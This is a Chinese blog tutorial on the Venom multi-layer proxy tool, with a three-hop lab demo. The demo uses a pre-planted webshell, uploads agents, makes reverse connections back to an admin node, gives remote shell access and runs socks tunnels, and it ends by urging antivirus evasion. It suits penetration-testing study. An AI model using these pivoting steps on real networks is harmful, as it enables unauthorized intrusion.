内网代理神器Venom及三层代理演示

Venom的简单使用介绍

Venom项目地址:https://github.com/Dliv3/Venom/releases

Venom介绍:
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具,可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

打开目录可以看到分为:admin(服务端)和agent(客户端),服务端是在本地运行,客户端则是在目标服务器上运行,分类也是包含了大部分操作系统的类型,scripts目录里的脚本是用来端口复用的:

Windows下直接运行,会出现版本号并提示一些用法:


1.Venom的正向代理与反向代理

agent监听端口,admin发起连接:

./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888

admin监听端口,agent发起连接:

./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999

2.admin节点内置命令

  • show 显示网络拓扑
    A表示admin节点,数字表示agent节点 ,如下图所示,代表了进行两层的代理,有两个agent节点:
  • goto ID 进入某agent节点
    进入节点1,对其利用
  • socks 端口 建立到某节点的socks5代理
    建立本地与节点1的Socks5代理,代理端口为9999:
  • setdes/getdes 设置/获取节点信息描述
    起到标记节点的作用:
  • shell 获取节点的交互式shell

  • upload/download 向节点上传/从节点下载文件
    将本地桌面上的test.txt上传到节点1上:

将节点1上的test2.txt下载到本地的:

  • lforward/rforward 将本地端口转发到远程/将远程端口转发到本地
    lforward将admin节点本地的8888端口转发到node1的8888端口
(node 1) >>> lforward 127.0.0.1 8888 8888
forward local network 127.0.0.1 port 8888 to remote port 8888

rforward 将node1网段的192.168.204.103端口8889转发到admin节点本地的8889端口

(node 1) >>> rforward 192.168.204.103 8889 8889
forward remote network 192.168.204.103 port 8889 to local port 8889
  • help 打印帮助信息

Venom三层代理演示

这次准备的环境如下图拓扑,每个网段各有一个CMS,Internet只能访问DMZ区;DMZ区可以访问服务区,不能访问设备区;服务区与设备区互通。

都是Windows环境,为追求效率,Shell已经写入目,其中192.168.1.100映射出来的地址是10.70.10.117

蚁剑直接连接我们预设的shell:http://10.70.10.117/shell.php,并上传对应的agent端:

我们这里在蚁剑终端执行agent64.exe -lport 9999,目标服务器本地监听9999端口:

本地发起连接,执行对应的admin服务端,指定目标IP和端口,可以看到显示Venom Admin Node Start,说明连接成功,show一下可以看到多了个节点1

goto 1,选择进入节点1,执行shell进入10.70.10.117的CMD模式:

第一层代理:

输入socks 9999,建立socks5代理隧道,本地的socks5代理就是127.0.0.1:9999

配置proxifier

添加代理:菜单栏 -> Profile -> proxy servers -> add
127.0.0.1:9999添加进去:

配置代理规则:菜单栏 -> Profile -> proxification Rules。
规则分为三种模式:Proxy(代理)、Direct(放行,不走代理)、Block(阻塞)。
我们将不需要代理的设为Direct,需要代理的自行添加exe应用:

点击左下角的Add,选择添加代理的应用,比如Google,填好Name,选择chrome.exe,最后点击Action要选择Proxy SOCKS5 127.0.0.1

这里设置了Google和蚁剑可以走127.0.0.1:9999的代理:

Google之前肯定是不能访问服务区的,现在可以直接访问内网的192.168.2.100,可以看到连接成功:


第二层代理

这里蚁剑已经走了代理,可以直接连接我们写好的shell,并上传agent客户端:

直接在节点2上开启监听,也就是在192.168.1.100上监听9998端口,让192.168.2.100发起连接:

192.168.2.100执行命令连接192.168.1.100的9998端口:agent64.exe -rhost 192.168.1.100 -rport 9998

执行show,看到多了个节点2

goto 2,在节点2上开启socks5代理隧道,也就是本地的:127.0.0.1:9998。

配置proxifier

添加代理

127.0.0.1:9998添加进去:

=

配置代理规则

之前设置的Google浏览器和蚁剑也都需要换成127.0.0.1:9998,第一层代理的流量也在其中:

Google浏览器访问192.168.3.100

第三层代理

这里蚁剑已经走了127.0.0.1:9998的代理,可以直接连接我们写好的shell,并上传agent客户端:

直接在节点2上开启监听,也就是在192.168.2.100上监听9997端口,让192.168.3.100发起连接:

192.168.3.100执行命令连接192.168.2.100的9998端口:agent64.exe -rhost 192.168.2.100 -rport 9997

建立socks隧道:


配置proxifier

添加代理

127.0.0.1:9997添加进去:

配置代理规则

修改代理:


通过上面的测试,多层代理的操作基本相似。

至此,本篇文章介绍就结束了,谢谢观看,若有疑问请留言,若有错误请指教。

很不幸,最近在做免杀测试的时候,发现毒液64位的已经被360杀了,各位做好免杀吧_2020.12.8

推荐另一篇内网渗透的文章:内网渗透

推荐两篇关于域渗透和金银票据的文章:

Kerberos认证

黄金票据和白银票据攻击原理介绍


大佬看完给个赞呗

推荐阅读更多精彩内容